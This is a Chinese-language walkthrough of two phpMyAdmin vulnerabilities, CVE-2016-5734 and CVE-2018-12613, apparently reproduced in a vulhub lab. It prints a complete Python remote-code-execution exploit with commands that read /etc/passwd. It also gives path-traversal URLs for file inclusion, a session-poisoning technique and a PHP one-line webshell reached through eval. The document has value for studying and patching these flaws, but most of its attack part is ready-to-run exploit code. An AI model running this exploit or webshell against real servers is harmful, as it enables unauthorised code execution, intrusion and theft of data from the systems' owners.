phpmyadmin-相关漏洞详解
Phpmyadmin
phpMyAdmin 是一个以PHP为基础,以Web方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
优势:web端,便于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。
phpmyadmin远程代码执行漏洞(CVE-2016-5734)
漏洞原理:
-
首先了解一下php中的preg_replace函数
#Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。 #例:preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) 搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。 该函数的返回值:当$subject为一数组的情况下返回一个数组,其余情况返回字符串。 匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。 参数说明: $pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~ $replacement: 用于替换的字符串或字符串数组。 $subject: 要搜索替换的目标字符串或字符串数组。 $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。 $count: 可选,为替换执行的次数。
因为preg_replace函数中的$pattern部分指定的是要搜索的模式字符串,一般是正则表达式,而正则表达式中存在修正符。
但是其中一个修正符 “/e”;在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。
可以看到,使用/e修正符的同时在 Subject 中成功匹配,replacement部分被当作php 代码执行。
这个函数是CTF代码审计中的常客;
影响版本:
phpmyadmin4.3.0-4.6.2
漏洞poc
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
操作环境:
kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2016-5734漏洞环境
攻击机:物理机
操作
-
开启相关漏洞环境(docker容器相关操作 不做赘述)
-
访问漏洞端口,漏洞搭建成功会看到一下phpmyadmin登录界面
-
攻击机执行poc脚本,远程代码执行
phpmyadmin默认账户、密码为:root、root
参数: #-c 指定PHP 代码执行(这里未指定使用代码中默认的system(‘uname -a’)) #-d 指定数据库名 #-t 指定用户所创建的表名(这里未指定使用代码中默认的) 结果显示:result的那一行
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('id')"
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('cat /etc/passwd')"
python3 phpmyadmin.py -u root -p "root" http://192.168.73.131:8080 -c "system('uname -a')"
修复建议
及时更新版本,Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了。
CVE-2018-12613 --- 本地文件包含漏洞(可导致远程代码执行)
漏洞原理:
-
当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,造成文件被解析。此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
-
在index.php第61行中,开启了include选项
这里的
target
可以直接传值输入,我们可以传入一个本地文件路径去让其包含,就会造成LFI漏洞。
影响版本:
- Phpmyadmin Phpmyadmin 4.8.0
- Phpmyadmin Phpmyadmin 4.8.0.1
- Phpmyadmin Phpmyadmin 4.8.1
POC
1. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
2. http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
漏洞环境:
kali-2019 IP:192.168.73.131 vulhub-phpmyadmin-CVE-2018-12613漏洞环境
攻击机:物理机
操作:
验证文件包含漏洞:
访问poc,读取了/etc/passwd文件内容,存在漏洞
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
利用session文件远程代码执行
-
开启漏洞环境(vulhub漏洞靶场开启,略)
-
访问漏洞端口 192.168.73.131:8080
-
执行数据库查询语句,内容为php命令
SELECT '<?=phpinfo()?>';
其会在默认路劲tmp文件夹临时生成session文件,名称为sess_sessioin值。并且会将查询语句写入进去。
-
利用index页面的文件包含,执行payload
http://192.168.73.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c9f4025794d547ff88ae6cd1bc2f40f
利用数据库写入shell,利用文件包含执行shell
-
把WebShell当做数据表的字段值是可以完美的写入到数据库文件当中的,在test数据库新建一个数据表,字段为一句话木马。
<?php @eval($_GET['s']);?>
-
通过查询语句,生成session文件进行文件包含解析shell
-
蚁剑连接shell,因为是靶场的缘故,数据为空。理论上真实环境应该可以,只是权限不高
修复建议
- 更新版本